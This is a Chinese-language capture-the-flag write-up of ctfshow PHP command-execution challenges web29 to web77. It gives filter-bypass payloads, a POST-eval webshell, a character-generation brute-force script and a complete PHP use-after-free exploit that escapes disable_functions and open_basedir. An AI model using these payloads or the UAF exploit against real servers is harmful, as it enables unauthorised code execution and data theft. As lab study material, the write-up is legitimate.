ctfshow
类型一:变量c来接受并过滤传入的数据,eval函数来执行
web29
使用通配符*或?或’’等等绕过flag
payload
1.c=system("cat f*");
2.c=echo `cat f*`;
3.c=echo `nl fl''ag.php`;或c=echo `nl fl""ag.php`;//nl命令在linux系统中用来计算文件中行号。nl 可以将输出的文件内容自动的加上行号
4.c=echo `nl fl\ag.php`; //转义字符绕过
5.c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php //通过变量赋值直接绕过c的过滤
?ip=127.0.0.1;cat `ls` //内联执行,就是将反引号内命令的输出作为输入执行
cp fla{g.php,G} //把flag.php复制为flaG
6.c=`c'a't /flag` //绕过字符串的过滤
可以读取文件的函数:
readfile() 读取文件
highlight_file() 读文件
show_source() 同上
base64_decode() base64解码
strrev() 反转字符串
include() 文件包含,可以不使用括号
require() 完全可以替代include()
web30
payload ?c=echo `cat f*`;
其他可代替system函数:
system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引号 同shell_exec()
web31
payload c=echo%09`tac%09f*`;
文件读取命令
sort: 文件排序并输出也可以查看内容
more: 一页一页的显示档案内容
less: 与 more 类似 head:查看头几行
tac: 从最后一行开始显示,可以看出 tac 是cat 的反向显示
tail: 查看尾几行
nl: 显示内容,顺便输出行号
od: 以二进制的方式读取档案内容
vi: 一种编辑器,这个也可以查看
vim: 一种编辑器,这个也可以查看
uniq: 可以查看 file -f:报错出具体内容
grep grep { flag.php打印有”{“的一行
strings: 在对象文件或二进制文件中查找可打印的字符串, 在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file strings。通常用法:strings\$IFS\$9f*(必须加转义字符)
paste 把每个文件以列对列的方式,一列列地加以合并
sed 一种编辑器,可以用sed -f flag.php读取flag
awk
curl
cut
linux绕过空格
cat%09flag //tab
{cat,flag.txt}
cat${IFS}$9flag.txt //$IFS在linux下表示为空格
cat{IFS}flag.txt
cat$IFSflag.txt
cat${IFS}flag.txt
cat$IFS$1flag.txt //$1改成$加其他数字都行
catIFSflag.txt
cat<flag.txt
cat<>flag.txt
ca\t fl\ag
web32
payload 1.c=include$_GET[1]?>&1=data://text/plain,<?php system("ls");?>
2.c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
3.c=require$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
include可以不用括号,分号用?>代替
web33-36
这四关都可以前面的payload,36关只需把1换成a就行了
payload 1.c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
2.c=require$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
php总比较常用的可以不加括号的函数有:
`echo`、`print`、`isset`、`unset`、`include`、`require`
类型二:变量c接收并过滤传入的数据,include来包含文件
web37
这关要用到php伪协议data://
payload ?c=data://text/plain,<?php system("cat f*");?>
?c=data:,<?php @eval($_POST['shell']); ?> //可以直接用蚁剑连接
web38
过滤了php和file,可以用<?=或进行base64编码
payload c=data://text/plain,<?=system("cat f*");?>
c=data:text/base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhKiIpOw==
web39
payload c=data://text/plain,<?php system("cat fla*");?>
.php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么作用
web40 属于类型一
此题考察无参数函数构造,参考大佬们写的:
函数:print_r(scandir(‘.’))可以用来查看当前目录所有文件名,我们要做的是将括号中的.替换掉
localeconv()函数返回一包含本地数字及货币格式信息的数组,如下只是该函数的一部分数组元素
/44337.png)
可利用localeconv()函数返回数组中的第一个小数点代替读取目录函数print_r(scandir(‘.’))中的参数 .
那么如何将数组中的第一个元素读取出来呢?可以使用以下函数:
current()函数返回数组中的当前元素/单元,默认取第一个值;
pos()函数同上,是current()函数的别名;
reset()函数,当数组不为空时返回数组第一个单元的值,如果数组为空则返回FALSE
可以得到flag.php位于数组的第三个值里,也就是倒数第二个,我们可以通过array_reverse()函数以相反的元素顺序返回数组,在用next()函数读取下一个元素,最后通过highlight_file()函数读取到flag.php
payload ①?c=print_r(scandir(pos(localeconv())));
②?c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
更多操作参考https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/
web41 属于类型一
这关是无字母数字命令执行
p神原话:在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串。所以,我们想得到a-z中某个字母,就找到某两个非字母、数字的字符,他们的异或结果是这个字母即可。
以下参考https://blog.csdn.net/Sapphire037/article/details/121054836
通过代码审计我们可以知道这个题过滤了$、+、-、^、~使得异或自增和取反构造字符都无法使用,但是留了一个|
也就是或运算还可以用,这个时候利用Y4师傅和羽师傅的脚本结合,即可很方便的做出来这题。先看Y4师傅的脚本
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Y4tacker
# @Date: 2020-11-21 20:31:22
*/
//或
function orRce($par1, $par2){
$result = (urldecode($par1)|urldecode($par2));
return $result;
}
//异或
function xorRce($par1, $par2){
$result = (urldecode($par1)^urldecode($par2));
return $result;
}
//取反
function negateRce(){
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
}
//mode=1代表或,2代表异或,3代表取反
//取反的话,就没必要生成字符去跑了,因为本来就是不可见字符,直接绕过正则表达式
function generate($mode, $preg='/[0-9]/i'){
if ($mode!=3){
$myfile = fopen("rce.txt", "w");
$contents = "";
for ($i=0;$i<256;$i++){
for ($j=0;$j<256;$j++){
if ($i<16){
$hex_i = '0'.dechex($i);
}else{
$hex_i = dechex($i);
}
if ($j<16){
$hex_j = '0'.dechex($j);
}else{
$hex_j = dechex($j);
}
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}else{
$par1 = "%".$hex_i;
$par2 = '%'.$hex_j;
$res = '';
if ($mode==1){
$res = orRce($par1, $par2);
}else if ($mode==2){
$res = xorRce($par1, $par2);
}
if (ord($res)>=32&ord($res)<=126){
$contents=$contents.$res." ".$par1." ".$par2."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
}else{
negateRce();
}
}
generate(1,'/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i');
//1代表模式,后面的是过滤规则
再利用羽师傅的脚本
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php E:\Download\phpstudy_pro\WWW\rce.php") # 没有将php写入环境变量需手动运行
if (len(argv) != 2):
print("=" * 50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("=" * 50)
exit(0)
url = argv[1]
def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open(r"E:\Download\phpstudy_pro\WWW\rce.txt", "r")#填txt的文件位置
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
# print(i)
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = "(\"" + s1 + "\"|\"" + s2 + "\")"
return (output)
while True:
param = action(input("\n[+] your function:")) + action(input("[+] your command:"))
data = {
'c': urllib.parse.unquote(param)
}
r = requests.post(url, data=data)
print("\n[*] result:\n" + r.text)
上面就注意下php脚本的位置和生成的rce.txt的位置还有接受的参数比如上面是c,换个参数就把c改了就行
那么完整流程就是
1.先改一下php脚本中generate函数里的参数,也就是设置模式和正则
2.python rce_.py url
可以看看p神的博客
类型三:接受并过滤传入的变量拼接命令执行(system函数)
web42
>/dev/null 2>&1 也可以写成“1> /dev/null 2> &1”,我们写入的命令的执行结果会被黑洞吞掉。
分隔符变量拼接可以用分隔符来控制后面语句的执行
分割符
; 分号顺序执行
&& 顺序执行
|| 前边执行成功则不再执行
换行符(在url中是%0a)
& (在url中是%26)
注意,通过url传递&&时要记得urlencode为%26%26,否则会被当作url参数的分隔符而不是shell命令的分隔符。
payload c=cat flag.php%26
web43
过滤了cat,用tac替换
paylaod c=tac flag.php%26
web44
payload c=tac f*%26
web45
用%09替换空格
paylaod c=tac%09f*%26
常见的空格替换
%09,%20,$IFS、${IFS}、$IFS$9,{tac,*},<,<>
web46
过滤了*和数字
payload c=tac%09fla''g.php||
c=tac%09fl[a-z]g.php||
%09解码后是水平制表符,而不是数字
web47-49
payload c=tac%09fla''g.php||
web50
屏蔽了x09和x26,也就是屏蔽了%09和%26,用其他方式绕过空格,这关用不了[a-z]了
payload c=tac<>fl\ag.php||
web51
tac被ban了
payload c=ta''c<>fla\g.php||
c=ta\c<>fla\g.php||
c=nl<>fla\g.php||
web52
<>尖括号被过滤了但是$没过滤
?c=ls${IFS}../../../|| //flag在根目录
c=ta\c${IFS}../../../fl\ag||
web53
多过滤了wget,没影响
payload ?c=ta\c${IFS}fla\g.php
注意,这一关没有了黑洞
web54
1.可以使用grep命令:
?c=grep${IFS}ctf${IFS}fl?g.php
2.可以使用mv命令
?c=mv${IFS}fl?g.php${IFS}a.txt //直接访问a.txt
- /bin下存放一些普通的基本命令,可以使用通配符去调用命令
?c=/bin/?at${IFS}f???????
web55
方法一:通过匹配bin下存在的命令进行读取flag。
bin为binary的简写,主要放置一些系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等。
我们日常直接使用的cat或者ls等等都其实是简写,例如ls完整全称应该是/bin/ls
payload ?c=/???/????64 ????.??? //也就是?c=/bin/base64 flag.php
方法二:bzip2的使用
payload:?c=/???/???/????2 ????.??? //也就是/usr/bin/bzip2 flag.php
然后访问/flag.php.bz2进行下载获得flag.php
注:/bin 是所有用户都可以访问并执行的可执行程序。包括超级用户及一般用户。
/usr/bin 是系统安装时自带的一些可执行程序。即系统程序。
方法三:
可以通过post一个文件(文件里面的sh命令),在上传的过程中,通过.(点)去执行执行这个文件。(形成了条件竞争)。一般来说这个文件在linux下面保存在/tmp/php?????[@-[](上传的文件在linux下面一般保存在/tmp/php??????一般后面的6个字符是五个小写加一个大写,大写可以通过linux的匹配符去匹配,不过因为是随机生成的大写字母,不一定每次都是大写,可以多试几下。)
注意:通过.去执行sh命令不需要有执行权限
需要先构造一个post上传文件的数据包。
<!DOCTYPE html><html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
然后抓包并修改文件内容改为shell命令,并且传入c参数:
/155054.png)
可以看看p神的无字母数字提高篇https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
web56
过滤了数字,使用前一关的第三种方法即可
web57
这关需要构造出36。
$(()) 代表做一次运算,因为里面为空,也表示值为0
$((~$(())))对0作取反运算,值为-1(如果对a按位取反,则得到的结果为-(a+1))
$(($((~$(())))$((~$(()))))) -1-1,也就是(-1)+(-1)为-2,所以值为-2
写个脚本生成payload:
data = "$((~$(("+"$((~$(())))"*37+"))))"
print(data)
web58-65
禁用了一些函数,直接读取文件
首先获取文件路径
/104435.png)
c=print_r(scandir(dirname('./')));
c=var_dump(scandir('./'));
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
c=$a="glob:///*";if($b=opendir($a)){while(($file=readdir($b))!==false){echo $file."\n";}}
c=$a=opendir("./"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };
c=$a=dir(getcwd());while ($file = $a->read()){echo $file . "<br>"; };
php读取文件函数:
file() 把整个文件读入一个数组中
readfile() 读取文件
fpassthru() 读取文件
highlight_file() 读文件
show_source() 同上
base64_decode() base64解码
strrev() 反转字符串
php_strip_whitespace() 返回删除注释和空格后的PHP源码
file_get_contents() 将整个文件读入一个字符串
include($filename); // 非php代码
include_once($filename); // 非php代码
require($filename); // 非php代码
require_once($filename); // 非php代码
示例:
echo file_get_contents("flag.php");
print_r(file('flag.php'));
var_dump(file('flag.php'));
include('flag.php');echo $flag;
var_dump(glob("*flag*")); // 寻找与模式匹配的文件路径
include('flag.php');var_dump(get_defined_vars()); //get_defined_vars()函数返回由所有已定义变量所组成的数组。
通过fopen读取文件内容
fread()
fread($file,100) 读取打开的文件,读取100个字节
fgets() 读取一行
fgetc() 读取一个字符
fgetss()
fgetcsv() 读取一行
gpassthru()
payload:
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}//一行一行读取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}//一个一个字符读取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);var_dump($line);}
也可以通过复制,重命名读取php文件内容
copy("flag.php","flag.txt");
rename("flag.php","flag.txt");
还可以直接用蚁剑连接。
web66
show_source()被ban了,使用highlight_file(),这次的flag在flag.txt里,先查目录,再进文件。
c=print_r(scandir('../../../'));
c=highlight_file('../../../flag.txt');
web67
print_r被ban了
c=var_dump(scandir('../../../'));
c=highlight_file('../../../flag.txt');
web68
highlight_file()被ban了,但因为flag在txt里,所以可以用include()
c=var_dump(scandir('../../../'));
c=include('../../../flag.txt');
web69-70
print_r()和var_dump()都被ban了,用其他方式读目录
c=$a=opendir('./');while(($file=readdir($a))!==false){echo $file.“</br>”;};
c=include('/flag.txt');
web71
下载附件
/212130.png)
ob_get_contents — 返回输出缓冲区的内容
ob_end_clean — 清空(擦除)缓冲区并关闭输出缓冲
payload c=include("/flag.txt");exit();
web72
尝试读取根目录
c=$d=opendir("/");while(false!==($f=readdir($d))){echo"$f\n";};exit();
/215446.png)
open_basedir:将PHP所能打开的文件限制在指定的目录树中,包括文件本身。当程序要使用例如fopen()或file_get_contents()打开一个文件时,这个文件的位置将会被检查。当文件在指定的目录树之外,程序将拒绝打开。
disable_functions:用于禁止某些函数,也就是黑名单,简单来说就是php为了防止某些危险函数执行给出的配置项,默认情况下为空。
ini_set()用于设置指定配置选项的值。这个选项会在脚本运行时保持新的值,并在脚本结束时恢复。但是这题也给ban了。
那么可以使用glob伪协议绕过open_basedir
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}exit();
然后可以看到flag文件名为flag0.txt,但是由于open_basedir的限制,还是不可以直接include进来,需要想其它的办法。使用UAF。脚本如下:记得要把c=之后的内容url编码:
c=function ctfshow($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) {
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
write($abc, 0x60, 2);
write($abc, 0x70, 6);
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);
($helper->b)($cmd);
exit();
}
ctfshow("cat /flag0.txt");ob_end_flush();
#需要通过url编码哦
web73-74
扫描目录
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}exit();
c=$d=opendir("../../../");while(false!==($f=readdir($d))){echo"$f\n";};exit(); //跟着别的教程走了半天,最后发现这两关没有被open_basedir限制
直接用include
c=include("/flagc.txt");exit(0);
c=require("/flagc.txt");exit(0);
web75-76
直接include()不行了,可以使用一些可使用的进程去读取flag。这里使用PDO(PHP Database Object)去执行sql语句进而读出flag
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);
web77
看大佬说是要用到使用PHP7.4以上才有的FFI进行命令执行
$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数
参考:https://www.php.cn/php-weizijiaocheng-415807.html
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。